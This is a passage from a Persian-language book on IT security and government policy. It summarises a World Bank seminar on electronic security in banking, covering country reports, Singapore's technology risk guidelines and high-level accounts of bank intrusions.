۲۳۵ *این جلسه با حضور اعضای گروه یکپارچه‌سازی بانک جهانی برگزار شد. اعضای حاضر در جلسه عبارت بودند از: Thomas Glaessner، Tom Kellerman، و Valerie McNevin، بعلاوهٔ شرکت‌کنندگان در این سمینار جهانی از کشورهای برزیل، شیلی، کلمبیا، مکزیک، عربستان سعودی، اوکراین، استرالیا، چین (پکن)، چین (هنگ‌کنگ)، مالزی، فیلیپین، سنگاپور، و سریلانکا. برای دستیابی به اسناد اصلی این نشستها می‌توانید به آدرس زیر مراجعه کنید:*
http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/SearchGeneral?openform&E-Security/E-Finance&Presentations

سوم، عدم گزارش رویدادها یک مانع جدی برای درک محدودهٔ تهدیدهای موجود است؛ چراکه هنوز بی‌میلی قابل توجهی نسبت به گزارش عمومی نفوذهای امنیتی وجود دارد.

چهارم، علاوه بر بی‌علاقگی مؤسسات به گزارش‌کردن رخدادها، بازهٔ زمانی واکنش به رخدادها نیز در بسیاری از موارد زیاد است.

سرانجام آنکه کارکنان همچنان نقش محوری بازی می‌کنند و تنها یک کاربر بی‌تجربه می‌تواند امنیت تمام شبکه را زیر سؤال ببرد؛ و لذا ضروری است که آگاهی تمام افراد نسبت به تهدیدات افزایش یابد. درصورتیکه تهدیدات الکترونیکی به درستی مدیریت نشوند، ناگزیر اعتماد عمومی نسبت به فناوری خدشه‌دار خواهد شد. با درنظر داشتن این موارد، برای دستیابی به سطوح بالاتری از امنیت الکترونیکی باید گامهای متعدد دیگری نیز برداشت:

اول، قانونگذاران، مؤسسات مالی و سایر دست‌اندرکاران بازار باید در جهت شناسایی و گسترش الگوهای سرآمدی امنیت الکترونیکی اقدام کنند.

دوم، همکاری باید به امری عادی و همیشگی تبدیل شود؛ بخصوص با عنایت خاص به رفع تهدیدات کلیدی که متوجه سازمانها و عموم مشتریان است.

سوم، ارائه خدمات آموزشی به کارکنان و ممیزان قسمت امنیت باید از اولویت بالایی در فعالیتهای تجاری و دولت برخوردار باشد. تعریف و گسترهٔ عملی مخاطرات باید شامل انواع مخاطرات سایبر بعلاوهٔ اَشکال سنتیِ تهدیدات اطلاعاتی و فیزیکی نیز باشد.

نظارت بر امنیت اطلاعات و مخاطرات فناوری

در حالی که بخش فناوری اطلاعات فراتر از مرز تواناییها و استعدادهای محلی رشد می‌کند، رجوع به منابع خارجی برای تأمین امنیت به یک کار رایج تبدیل شده و خصوصاً استفاده از منابع بین‌المللی برای این منظور، هم تهدیدها و هم فرصتهایی را برای سازمانها در سراسر دنیا بوجود آورده است. فعالیتهایی که در سالهای اخیر جهت کاهش تهدیدهای الکترونیکی انجام می‌شود را می‌توان یک توفیق اجباری برای بانکها دانست که آنها را ملزم می‌کند یک برنامهٔ واکنشی برای حفاظت از داده‌های مشتری در برابر تهدیدها تدوین کنند و در این مسیر تمام راهنماییهای لازم را نیز برای آنها فراهم می‌آورد. در چنین برنامه‌ای باید فرآیندهای آگاهی‌یافتن مشتریان از رخدادهای افشای غیرمجاز اطلاعات نیز مد نظر قرار گرفته باشد.

علیرغم سیاستها و روالهای پیچیدهٔ ابتکاری ، هنوز هم امنیت به امری ساده تبدیل نشده است و بنابراین همچنان مراقبت و آموزش مداوم ضروری است. بعضی حوزه‌های جدید مباحث امنیتی که درحال حاضر توجه بیشتری می‌طلبند عبارتند از: ارزیابی آسیب‌پذیری، آزمون نفوذ، سیستمهای مهاجم‌یاب، و قوانین جرائم فضای سایبر.

فناوریهای سیار: دستاوردها و مخاطرات جدید

در سال ۲۰۰۲، GSM حدود ۷۸۷ میلیون کاربر در سراسر دنیا داشت. فناوری بی‌سیم با سرعتی معادل سه برابر سرعت خطوط زمینی درحال رشد است. این فناوری نیز مانند سایر فناوریهای ارتباطی نسبت به تکه‌برنامه‌های مخرب مثل تراواها، ویروسها و حملات تخریب سرویس آسیب‌پذیر می‌باشد. فناوری بی‌سیم در محیط خصمانهٔ اینترنت، پاشنهٔ آشیل امنیت به حساب می‌آید. معمولاً اتصال بی‌سیم ضعیفترین حلقهٔ زنجیر امنیتی محسوب می‌شود. آسیب‌پذیریهای GSM عبارتند از آسیب‌پذیری کارت SIM، بمباران SMS، آسیب‌پذیریهای WAP، و نیز حمله‌ای که با نام "man in the middle" شناخته می‌شود.[۲۳۶]

اگرچه ایمن‌سازی کامل فناوری GSM ممکن نیست، اما کاربر با چند گام ساده می‌تواند از خود حفاظت بسیار بیشتری بعمل آورد:

- فعال کردن رمز عبورِ راه‌اندازی؛
- نصب نرم‌افزار ضدویروس؛
- نصب یک دیوارهٔ آتش شخصی با قابلیت رمزگذاری؛

---

۲۳۶ *در این نوع حمله یک تلفن همراه دستکاری‌شده خود را بعنوان یک ایستگاه ثابت جعلی برای سایر تلفنهای همراه معرفی می‌کند و بدین ترتیب مهاجم می‌تواند اطلاعات را بدزدد. اطلاعات در gatewayها کاملاً خالص و بدون هرگونه رمزگذاری هستند، و این باعث می‌شود کاربران و اطلاعات آنها با آسیب‌پذیریهای بزرگی روبرو باشند.*

- اطمینان از نگهداری ایمن از وسایل، و حفاظت از نرم‌افزارهای کاربردی با رمزهای عبور؛
- نصب نرم‌افزار VPN. در مورد کارتهای هوشمند نیز اشخاص ثالث نباید شماره‌های PIN را مدیریت کنند.

سخنرانیهای نمایندگان کشورها

در طول برگزاری این نشست جهانی از نمایندگان کلیهٔ کشورها خواسته شد که به سه سؤال زیر پاسخ دهند:

۱. در زمینهٔ رخدادهای امنیت الکترونیکی چه نگرشهایی می‌بینید؟ بزرگترین چالشها یا آسیب‌پذیریها کدامند؟ (سرقت هویت، تخریب سرویس، پولشویی اینترنتی، یا سایر اَشکال کلاهبرداری الکترونیکی)

۲. درحال حاضر مؤسسات اقتصادی در کشور شما از چه فرآیندهایی جهت کاهش مخاطرات امنیت الکترونیکی پیروی می‌کنند و چه تغییراتی را در فرآیند نظارت خود درنظر دارند؟

۳. مؤسسات چندجانبه و چندملیتی چطور می‌توانند با همکاری سایر سازمانهای نظارتی به شما کمک کنند؟

برزیل

نمایندهٔ برزیل خاطرنشان کرد که رقابت، شرکتها را به ساخت فناوریهای پیشرفته هدایت می‌کند، اما این فناوریها مستعد آسیب‌پذیری هستند. میان هزینه‌های خدمات از یک سو و کلاهبرداریها از سوی دیگر، یک توازن وجود دارد. کارآیی فنون برگزاری آزمون برای دوره‌های آموزشی در برزیل درحال افزایش است.

در پاسخ به این سؤال که مؤسسات چندملیتی چگونه می‌توانند به کشورها کمک کنند، برزیلی‌ها مایل بودند که در زمینه‌های زیر به آنها کمک شود: برگزاری آزمون برای دوره‌های آموزشی، تدوین راهکارها و استانداردهای امنیت، و نیز ایجاد مدلهای امنیت با حداقل قوانین بانکی.

پرسش

برزیلی‌ها پرسیدند که با توجه به طبیعت پویا و پیشرفت سریع فناوری که قانونگذاری را مشکل ساخته، چگونه می‌توان زیرساخت قانونی برخورد با جرائم را ایجاد کرد.

پاسخ

یک نمایندهٔ کشور سنگاپور، در پاسخ به این پرسش پیشنهاد جریمه‌های شدید اداری و به‌روزکردن مقررات در فواصل زمانی منظم را داد؛ چراکه معتقد بود قوانینی مثل "قانون سوء استفاده از رایانه"، فایدهٔ خود را در تشخیص جرائم رایانه‌ای و کاهش جاذبهٔ آن برای نفوذگران غیرحرفه‌ای نشان داده‌اند.

یک نمایندهٔ FBI نیز بیان کرد که این یک پدیدهٔ اجتماعی بین‌المللی و غیروابسته به مرزها است. در بعضی موارد فرد خطاکار شدت جرمی که درحال ارتکاب آن است را تشخیص نمی‌دهد. در حقیقت بعضی افراد جرائم رایانه‌ای را بعنوان جرم واقعی به رسمیت نمی‌شناسند. بعلاوه بانکها هم برای جذب مشتری بیشتر اینطور وانمود می‌کنند که افسانهٔ امنیت را جاودانی کرده‌اند. بنابراین لازم است که شناخت بیشتری در مورد مخاطرات خدمات مالی و تجارت الکترونیکی به عموم مردم داده شود، چراکه در این حوزه مسدود کردن اطلاعات تنها مشکلات را حادتر می‌کند. بخصوص، مشکلات شگرفی در رابطه با طبیعت فرابخشی جرائم الکترونیکی، از جمله نفوذهای سایبر و دستکاری پایگاههای بانکی وجود دارد. بنابراین همکاری بین‌المللی در این زمینه لازم است.

مکزیک

در پاسخ به نگرشهای ممکن در رخدادهای امنیت الکترونیکی، مکزیک اشاره کرد که امکان دسترسی به‌شماره‌های PIN از طریق وب رو به افزایش است و این مسئله جدیت مخاطرات را بیشتر می‌کند. در هر صورت آنها تلاشهای زیادی برای کاهش مخاطرات الکترونیکی می‌کنند، مؤسسات مالی ظرفیتهای کنترلی قوی دارند و شرکتهای امنیتی و نظارتی بسیاری هستند که در زمینهٔ فناوری اطلاعات تخصص داشته باشند. بعلاوه مکزیک توصیه‌های BASEL را برای کنترل مخاطرات فناوری لحاظ کرده است.

در پاسخ به سؤال سوم، مکزیکی‌ها برای به اشتراک گذاشتن تجربیات، ارزیابی‌ها و نیازها پیشنهاد کردند اطلاعات جهانی میان سازمانهای مختلف مبادله شود.

پرسش

مکزیک درخصوصِ عمق خطمشی‌های سنگاپور سؤال کرد.

پاسخ

تجربیات کلی امنیت در سنگاپور بصورت اینترنتی در دسترس است.[۲۳۷] این خطمشی‌ها شامل ۲۶ فعالیت در حوزه‌های سیستم‌عامل، وصله‌ها، نقشها و مسئولیتها، نرم‌افزارهای ضدویروس، دیوارهٔ آتش، و غیره هستند.

کلمبیا

نمایندهٔ کلمبیا بیان داشت که مشکلات ایمنی آنها مانند سایر کشورها است و آنها نیز خود را آسیب‌پذیر می‌بینند. درحال حاضر این کشور استانداردی برای واکنش به رخدادها ندارد و مرکز فوریتهای امنیت رایانه‌ای نیز در آن راه‌اندازی نشده است. سرویس‌گیرنده‌های کلمبیایی مستعد هستندکه قربانی حملات قرار بگیرند، سرقت هویت درحال افزایش است، کارتهای بانکی جعل می‌شوند، قانونی برای تضمین محرمانگی وجود ندارد، کاهش مخاطرات تنها بر عهدهٔ ممیزها است، PKI و کارتهای هوشمند بکار می‌روند اما امنیت الکترونیکی بانکها در حد مقدماتی است، کارمندان معمولاً به دستورات ایمنی بی‌توجهی می‌کنند و امنیت در فرهنگ بانکی کلمبیا در جایگاه صحیح خود قرار ندارد، و علاوه بر همهٔ اینها در این کشور به‌روز ماندن نیز یک مشکل اساسی می‌باشد.

بدیهی است که در این زمینه مؤسسات چندجانبه نقشی اساسی دارند. بعنوان مثال UNCITRAL برای جرائم رایانه‌ای در حوزه‌هایی چون آزار و اذیت، تخریب سرویس، و همچنین معاملات، یک قانون مرجع دارد. خصوصیت قوانین مرجع این است که برخلاف قوانین عادی باید مبتنی بر قوانین مدنی باشند.

پرسش

نمایندهٔ کلمبیا پرسید که جامعیت امنیت در مؤسسات مالی، بخصوص با ملاحظات سود و زیان، چطور زیر سؤال می‌رود. مسائلی چون مسئولیت و مدیریت مخاطرات، نگرانیهای اساسی هستند؛ خصوصاً وقتی مشتریان درنظر گرفته شوند.

پاسخ

بدلیل ملاحظات قضایی، حتی در تشخیص محل وقوع جرم نیز همکاری میان سازمانهای مختلف ضروری است. برای آغاز باید یک زبان مشترک توصیف مشکلات، راهکارهای کاهش آنها و استانداردهای فرابخشی تدوین شوند. مثلاً تعریف "کلاهبرداری" در اتحادیهٔ اروپا با مشکلاتی همراه بود. یک نمونه از سازمانهای فرابخشی فعال در این زمینه، *کمیتهٔ فعالیتهای مالی* (FATF)[۲۳۸] است که با پولشویی و تروریسم مبارزه می‌کند.

اوکراین

پس از استقلال اوکراین، در سیستم بانکی این کشور تغییراتی رخ داد و باعث شد در آن از فناوریهای الکترونیکی استفاده شود. فناوریهای امنیتی مثل امضای الکترونیکی و رمزنگاری توسط بانک ملی اداره می‌شوند.[۲۳۹] از زمان استقلال این کشور، قوانین امضا و معاملات الکترونیکی به اجرا در آمده‌اند. علیرغم برخی تلاشها برای نفوذ به سیستم بانکی، تاکنون خسارت خاصی گزارش نشده است.

در حوزهٔ قوانین، اوکراین در سال ۲۰۰۱ معاهدهٔ جرائم سایبر را امضا کرد و از آن پس به تعقیب سوء استفاده‌های رایانه‌ای پرداخت. علاوه بر این پارلمان آن کشور یک قانون در زمینهٔ حفاظت از اطلاعات شخصی به تصویب رسانده است. در متن قوانین جنایی به جرائم سایبر نیز توجه شده، اما با اینحال این قوانین تأثیر کمی بر جای می‌گذارند، چراکه برای اعمال آنها ابتدا باید عامل "عمد" و "قصد" در ارتکاب جرم به اثبات برسد. با توجه به این موارد، تعقیب ناکافی جرائم به یک روال روزمره بدل شده، چون ارائه مدارک محکمه‌پسند برای اثبات تعمدی بودن چنین جرائمی واقعاً دشوار است. کارکنان بخش امنیت نیروهای انتظامی باید در زمینهٔ جمع‌آوری مدارک اثبات جرم آموزش کافی ببینند.

پرسش

سئوال اصلی اوکراین در مورد برآوردن مسئولیت و تعهد با

237 http://wbln0018.worldbank.org/ html/FinancialSectorWeb.nsf/(attachmentweb)/Singpore_TRMguidelines28Feb03/$FILE/Singpore_TRMguidelines28Feb0

238 Financial Action Task Force

۲۳۹ در این کشور تمام بانکها جزئی از سیستم بانک ملی محسوب می‌شوند.

استفاده از مکانیزمهای نظارت داخلی و گزارش بود. بعنوان نمونه، گزارش رویدادها توسط مأموران بانکی برای ایمنی بانک ضروری است. برای کمک به ظرفیتهای واکنش به رخدادها، یک مرکز فوریتهای امنیت رایانه‌ای در اوکراین بوجود آمده است.

پاسخ

در مورد مدارک محکمه‌پسند، به این نکته اشاره شد که داده‌های الکترونیکی در معرض نابودی سریع هستند و در حوزهٔ جرائم رایانه‌ای نیز هیچ استانداردی برای مدارک قانونی وجود ندارد. با اینکه دنیا نیازمند راهبردهایی برای پیگردهای قانونی بصورت دیجیتال است، اما درحال حاضر روش استانداردی که مورد تأیید دادگاهها باشد وجود ندارد.

استرالیا

استرالیا جهت طبقه‌بندی اطلاعات، BASEL2 را انتخاب و پیاده‌سازی کرده است. با اینحال آنها دریافته‌اند که استفادهٔ روزافزون از سیستمهای مهاجم‌یاب با اینهمه تشخیصهای مثبت ناصحیح (false positive) و سیستمهای تنظیم‌نشده چندان آسان نیست. فناوریهای جدید بر مبنای فناوریهای پیشین ساخته می‌شوند، و این به پیچیدگی و وابستگی سیستمها به یکدیگر دامن می‌زند. در همینحال ممکن است نحوهٔ کار سیستمها نیز به خوبی مستندسازی نشده باشد. یادگیری در مورد چگونگیِ وابستگی سیستمها به یکدیگر بسیار حیاتی است، اما معمولاً مستندات در دسترس، بسیار محدود هستند. نمایندهٔ استرالیا به این مسئله اشاره کرد که در این کشور مطالب آموزشی رایگان در زمینه‌های عمومی و تخصصی برای download کردن فراهم است.

استرالیا سه نکته اساسی را مطرح کرد.
اول، تا اکتبر ۲۰۰۳ در تمامی کشورهای عضو APEC در زمینهٔ جرائم سایبر قوانینی وجود خواهد داشت؛ که مواردی چون کلاهبرداری الکترونیکی و اعمال قوانین الکترونیکی بصورت فرابخشی و بین‌المللی را در بر می‌گیرند.

دوم، آموزش و همکاری در زمینهٔ اجرای قانون در همهٔ سطوح لازم است و استانداردهای فناوری اطلاعات بصورت خلاصه در این دوره‌ها قرار خواهند داشت. برنامهٔ امنیت سایبر APEC به فناوری بی‌سیم نیز خواهد پرداخت و بطور خلاصه به مخاطرات فناوریهایی چون Wi-Fi هم می‌پردازد.

سوم، تا آخر اکتبر ۲۰۰۳ در تمام کشورهای عضو APEC مراکز فوریتهای امنیت رایانه‌ای تشکیل خواهد شد.

چین، پکن

نمایندهٔ چین بیان داشت که آگاهی عمومی درخصوص جایگاه امنیت الکترونیکی باید افزایش یابد و برای نیل به این مقصود ارزیابیهای خارجی بیشتری مورد نیاز است. یکی از عمدهٔ مشکلاتی که چین در زمینهٔ امنیت الکترونیکی با آن مواجه می‌باشد فقدان آگاهی و توانایی مدیریتی برای ارزیابی مخاطرات (بخصوص با توجه به ماهیت پیچیدهٔ فناوریها) است. این مشکل در کشور چین بدلیل همکاری ضعیف میان مراکز قانونگذاری و مراکز نظارتی تشدید هم شده است.

علیرغم اوضاع نامساعد امنیتی، بانکهای اینترنتی در چین بسرعت درحال رشد هستند. تعداد این بانکها در خلال سالهای ۱۹۹۹ تا ۲۰۰۳ از یک به بیست و هفت رسیده و نیز حجم فعالیتهای بانکی بیش از ۱۰۰ برابر رشد داشته است. به این نکته اشاره شد که در زمان شیوع بیماری سارس، بانکداری اینترنتی رونق زیادی پیدا کرد. نهایتاً کشور چین پیشنهادهای زیر را ارائه داد:

۱. تشویق اشتراک اطلاعات در سطوح ملی و بین‌المللی
۲. ایجاد استانداردهای بین المللی امنیت الکترونیکی
۳. افزایش شفافیت در بانکداری الکترونیکی

چین، هنگ‌کنگ

در هنگ‌کنگ، نامه‌های الکترونیکی جعلی، ویروسها، و کرمها بسیار رایج هستند. در کنار این مسائل نحوهٔ رفتار مهاجمین هم دچار تغییر شده است. در این کشور بجای هدف قرار گرفتن مستقیم بانکها، ضعیفترین حلقه – یعنی مشتری – مورد حمله قرار گرفته است و لذا آموزش مشتریان بسیار حیاتی است.

اتفاقی که اخیراً در یک پایگاه وب متعلق به یک بانک جعلی روی داد، مشکلات امنیتی را آشکارتر کرد. این بانک در پایگاه وب، یک آدرس پستی ناقص قرار داده بود و از گواهی

دیجیتال هم استفاده نمی‌کرد، و همچنین ادعا داشت که دفاتری در نیویورک و نقاط دیگر دارد؛ اما در بازرسیها معلوم شد که هم آن پایگاه وب (که در چین میزبانی می‌شد) و هم بانک مورد ادعا جعلی هستند. این واقعه بار دیگر نیاز حیاتی به همکاریهای فرابخشی را آشکار کرد، بخصوص به این دلیل که تبهکاران جرائم سایبر، خود بصورت فرابخشی عمل می‌کنند.

کشور هنگ‌کنگ درحال تهیهٔ مقدماتی برای ایجاد بسترهای نظارت بر مشتریان و آموزش به آنها است، مثل انتشار راهنماهایی برای افزایش آگاهی عمومی در ابعاد حیاتی امنیت الکترونیکی و اعلان هشدارهایی برای مقابله با جرائم رایانه‌ای. برای ارتقای امر نظارت در امنیت الکترونیکی، این کشور با *ثبت‌کنندگان دامنه*[۲۴۰] رابطهٔ نزدیکی دارد و برای کنترل نامهای دامنهٔ محلی (hk.) از فرآیندی خودکار استفاده می‌کند: اگر واژهٔ "بانک" یا هر شکل دیگر آن در نام دامنه بکار رفته باشد، موضوع بلافاصله برای بررسی به مراجع ذیصلاح ارجاع داده می‌شود. نیروهای پلیس، مرکز فوریتهای امنیت رایانه‌ای، و نیز دولت هنگ‌کنگ هم برای ایجاد قابلیت واکنش سریع به رخدادها، با نهادهای مختلفی در سطوح بین‌المللی همکاری دارند. *سیستم نظارت بر خودارزیابی* (CSA)[۲۴۱] در چیزی حدود ۷۰ تا ۸۰ بانک وجود دارد و بدلیل مشکلات خاص ارزیابی سالانه، این ارزیابی نیز بصورت خودکار انجام می‌شود.

جمهوری کره

با اینکه کره نتوانست در این بحث جهانی شرکت کند، اما به سؤالات مطرح شده توسط بانک جهانی پاسخ داد. آنها اشاره کردند که اگرچه کره دارای شبکه‌های اطلاعاتی پیشرفته‌ای است، اما سطح امنیت آنها هنوز جا برای ارتقا دارد. در کره ۶۵٪ معاملات بورس بصورت اینترنتی انجام می‌شود و حدود ۲۵ میلیون نفر از اینترنت استفاده می‌کنند. رخدادهای اخیر مثل آسیبهای کرم Slammer در ژانویهٔ ۲۰۰۳ تأثیرات شدیدی در کره داشت و طبیعت شکنندهٔ شبکه‌ها را آشکار کرد.

کره آماری ارائه کرد که نمایانگر سطح پایین آگاهی افراد در خصوص ایمنی سیستم بود. به گفتهٔ وزارت اطلاعات و ارتباطات، تنها ۱۲،۹٪ شرکتهای تجارت الکترونیکی، ۱۶،۷٪ مؤسسات آموزشی، و ۹،۲٪ سازمانهای دیگر دارای بخشی برای امنیت اطلاعات هستند. کره اشاره کرد که امنیت الکترونیکی از دید بسیاری از شرکتها بعنوان یک هزینهٔ مبهم است که تنها با تخصیص منابع و زمان کافی به انجام می‌رسد. بعنوان مثال تنها حدود ۱۲،۹٪ شرکتهای تجارت الکترونیکی و ۶،۱٪ تمام شرکتها در این کشور برای حفاظت از خود از سیستمهای مهاجم‌یاب استفاده می‌کنند.

سریلانکا

نمایندهٔ سریلانکا بیان داشت که در آن کشور تهدیدهایی مثل کرمها و آسیب‌پذیریهای بی‌سیم وجود دارد اما مقامات سریلانکا تا کنون هیچ گزارشی درخصوص حملات به سیستمهای بانکی دریافت نکرده‌اند. این کشور حدود ۲۰ سال است که از دستگاههای خودپرداز استفاده می‌کند. هرچند بانکداری الکترونیکی در سریلانکا در ابتدای راه است اما به سرعت درحال رواج می‌باشد. تبادل سهام و پول بصورت اینترنتی قابل انجام است، اما اینگونه امکانات نیز هنوز در مراحل اولیهٔ توسعهٔ خود هستند. درحال حاضر در سریلانکا مهمترین رخداد امنیتی، سرقت شناسه‌های کاربری و رمزهای عبور است. برای مؤسسات خدمات مالی، سطح آگاهی از مخاطرات یک مسئله کلیدی است و همچنین مخاطرات باید به دقت ارزیابی شوند.

امنیت سایبر در بخش مالی سنگاپور

تونی چو[۲۴۲] مدیر نظارت بر مخاطرات فناوری در *ادارهٔ امور پولی سنگاپور* (MAS)[۲۴۳] مروری اجمالی بر مقدمات امنیت سایبر داشت. وی بحث خود را با بیان این مطلب آغاز کرد که مسئولیت بخش او این است که "به مؤسسات آگاهی دهد، آنها را تحت نظارت قرار دهد، و یا نسبت به آنها سختگیری نماید". سنگاپور می‌کوشد تا به یک کانون بین‌المللی خدمات مالی تبدیل شود و به همین دلیل موضوع امنیت فناوری اطلاعات برای آن از اهمیت خاصی برخوردار است.

240 Domain Registrar
241 Supervisory Control Self-Assessment

242 Tony Chew
243 Monetary Authority of Singapore

بزرگترین بانکهای سنگاپور در سالهای ۲۰۰۱ و ۲۰۰۲ توسط نفوذگران مورد حمله قرار گرفتند؛ که این امر نشاندهندهٔ نیاز فوری این کشور به راهبردهای کاهش مخاطرات امنیتی است. در سال ۲۰۰۱ بزرگترین بانک سنگاپور (UOB) وجود یک نفوذگر را در سیستم اینترنتی بانکداری خود کشف کرد. با اینکه بیشتر اطلاعات مربوط به این رخداد محرمانه باقی ماند، اما معلوم شدکه نفوذگرهایی از اروپای شرقی به سیستم بانکی حمله کرده بودند. دادههای بانک مورد بررسی قرار گرفت و سیستم بانکی جهت بهروزآوری حساب مشتریان دستکاری شد. نهتنها چند ماه طول کشید تا متخصصین اصل مشکل را بیابند، بلکه تلاش زیاد و هزینهٔ گزافی صرف شد تا کشف شود که چه کسانی و یا چه چیزهایی عوامل این مشکل بودهاند.

در سال ۲۰۰۲، حملهٔ دیگری به دومین بانک بزرگ سنگاپور (DBS) صورت گرفت. در این رویداد نفوذگران بدلیل قابلیتهای اشتراکی شبکه و پیکربندی نامناسب سیستمها توانستند سیستمهای مشتریان را هدف قرار دهند. نفوذگران اسبهای تراوا و ثبتکنندههای صفحهکلید را در حسابهای ۲۱ مشتری بانک تعبیه کردند که به آنها اجازه میداد تا شمارهٔ شناسایی فردی (PIN) و شمارهٔ شناسایی کاربری را بدست آورند. این حادثه سبب شد ۶۲،۰۰۰ دلار به حسابهای مشتریان ضرر وارد شود، اما نکتهٔ قابل توجه آن است که تأثیر منفی این رخداد در افکار عمومی بسیار بیش از این بود؛ چراکه روزنامههای کشور به مدت یکماه در این خصوص مطلب نوشتند. امثال این رخدادها میتوانند به بحران بیاعتمادی مردم به سیستمهای بانکداری اینترنتی منجر شوند.

یک نقطهضعف اساسی که در تمام این رخدادها تأثیر داشت استفاده از تصدیق هویت تکعاملی بود. هماکنون نیز بیشتر دستگاههای خودپرداز از روشهای بسیار اولیهٔ تصدیق هویت استفاده میکنند، و تنها یک یا دو حادثهٔ دهشتناک میتواند بانکها را به تجدید نظر در این روند وادار کند. همچنین نوعی اعتماد و اطمینان بیش از حد به فناوری SSL وجود دارد؛ اما امنیتی که SSL بوجود میآورد بسیار محدود است، چراکه تنها در خلال انتقال اطلاعات از آنها حفاظت میکند، و نه در مبدأ یا مقصد. پایگاههای داده و دیگر رسانههای ذخیرهسازی باید همیشه بصورت رمزگذاریشده باشند تا امنیت آنها تضمین شود. برای PINها نیز باید از رمزنگاری قوی استفاده شود؛ اما این به تنهایی کافی نیست، چون PINها کوچک هستند و نفوذگران براحتی میتوانند آنها را دریافت کنند.

ادارهٔ امور پولی سنگاپور برای مؤسسات خدمات مالی "راهبردهای مدیریت مخاطرات فناوری" شامل ۲۶ توصیه در زمینهٔ ایجاد امنیت لایهای تدوین کرد. سه دستهٔ اصلی این راهبردها عبارتند از:

۱. ایجاد یک فرآیند مستحکم برای مدیریت مخاطره
۲. تقویت قابلیت دسترسی، امنیت، و قابلیت بازیابی
۳. استفاده از رمزنگاری قوی برای حفاظت از دادهها

علاوه بر تدوین سیاستهایی در مورد فناوری، ادارهٔ امور پولی سنگاپور بانکها را ملزم به انجام حداقل سالی یکبار آزمون نفوذ و ارزیابی محیط کار نمود. این اداره دارای یک تیم ارزیابی مخاطرات فناوری و یک سیستم برای درجهبندی بانکها در سیستم اقتصادی سنگاپور است؛ که بر مبنای شش معیار که توسط ادارهٔ امور پولی سنگاپور تعیین شده انجام میگیرد. این معیارها، مؤسسات را از لحاظ میزان ایمنی به پنج دسته تقسیم میکنند که شمارهٔ ۱ نشانگر امنترین و شمارهٔ ۵ نشانگر ناامنترین آنها است. بانکها ملزم هستند که در این ارزیابی حداقل به درجهٔ ۲ دست یابند، و علاوه بر آن باید برای سیستم خود طرح بازیابی و ترمیم سریع نیز داشته باشند. برای ایجاد انگیزهٔ پیشرفت در امنیت بانکها و القای حس استانداردسازی، نتایج این درجهبندی بصورت عمومی منتشر میشود. علاوه بر این بانکها ملزم به گزارش هرگونه رخداد امنیتی نیز میباشند.

با افزایش استفاده از دستگاههای سیار پرداخت، آسیبپذیریهای فناوری بیسیم نیز باید مورد توجه قرار گیرند. درحال حاضر تجربیات امنیتی در بانکداری بیسیم سنگاپور همچنان تحت بررسی هستند.

جمعبندی سؤالات و پیشنهادات

توصیهها و پرسشهای پایانی شامل نقاط کلیدی این سمینار جهانی بود.

اول، اطلاعرسانی و آگاهی در آموزش عمومیِ نیازهای حال حاضر امنیتی نقشی حیاتی ایفا میکند. قوانین دولتی مثل

"الزام گزارش فعالیتهای مشکوک" تنها درصورتی مفید هستند که به مرحلهٔ اجرا در آیند.

دوم، شفافیت و انتشار اطلاعات رخدادها برای ارتقای سطح ایمنی سیستمهای آینده اهمیت زیادی دارد. به این نکته اشاره شد که گاهی پوشش خبری وقایع می‌تواند مضر باشد، چراکه مشتریان در هرصورت از مطبوعات تأثیر می‌پذیرند. درعوض شرکتها باید وضعیت را بسرعت اصلاح کنند. پرداختن به مشکل با ایجاد یک طرح عملیاتی، راه بهتری برای مقابله با یک نفوذ امنیتی است. سؤال عمده‌ای که در اینجا بوجود می‌آید این است که در چه حدی و در چه زمانی باید این اطلاعات را منتشر کرد. در بخشهای دیگر این کتاب در این زمینه راهکارهایی ارائه شده است.

سوم، بیشتر کشورهای شرکت‌کننده به لزوم همکاریهای فرابخشی تأکید داشتند. یکی از بخشهایی که همکاری در آن مثمر ثمر خواهد بود برنامه‌های اعطای گواهینامه هستند. در این قسمت سازمانها باید با جامعهٔ نرم‌افزاری همکاری نمایند تا نیازهای امنیتی هر بخش مشخص شود. EBG، یکی از شبکه‌های ارتباطی و اطلاع‌رسانی و نیز InfraGard که یک شبکهٔ خصوصی- عمومی متعلق به FBI است دو نمونه از این قبیل مؤسسات هستند. InfraGard تمامی زیرساختهای حیاتی را در بر می‌گیرد و حدود ۱۰،۰۰۰ عضو دارد. هدف این سازمان ایجاد اعتماد و تشویق اشتراک اطلاعات میان اعضا است. این سازمان می‌تواند بعنوان مثالی از نحوهٔ ایجاد ارتباط در حوزهٔ امنیت فناوری اطلاعات درنظر گرفته شود.

چهارم، برای بوجود آمدن نوعی تعهد در امنیت الکترونیکی، نقشها و مسئولیتها باید تعیین شوند؛ و لذا تدوین یک استاندارد مراقبت و انجام وظایف امانتداری برای سازمانهای اقتصاد الکترونیکی یکی از مسائل بسیار مهم است. عناوین مباحث این موضوع عبارتند از سپرده‌ها و تراکنشها، اعتماد عمومی، و اطمینان سیستمهای خدمات مالی.

سرانجام استفاده از منابع خارج از سازمان یکی از نگرانیهای مهم شرکت‌کنندگان بود. نمونه‌ای از مشکلات موجود در این زمینه در سال ۲۰۰۱ رخ داد؛ هنگامیکه یک شرکت خدمات میزبانی وب در ایالات متحده مورد نفوذ قرار گرفت و درنتیجه امنیت بیش از ۳۰۰ بانک خدشه‌دار شد. جزئیات بیشتر در زمینهٔ استفاده از منابع خارج از سازمان را می‌توان در بخشهای دیگر این کتاب و سایر منابعی که در قسمت ضمائم به آنها اشاره شده پیدا کرد.

در خاتمه خاطرنشان می‌کنیم که برای قانونگذاران و بازرسان، ارزیابی مجدد چتر تقنینی (خصوصاً در زمینهٔ انتقال پول توسط اشخاص ثالث، مثل شرکتهای میزبانی وب) امری بسیار حیاتی است.

امنیت فناوری اطلاعات و سیاستهای دولتی

بخش چهارم

فصل اول

مقدمه

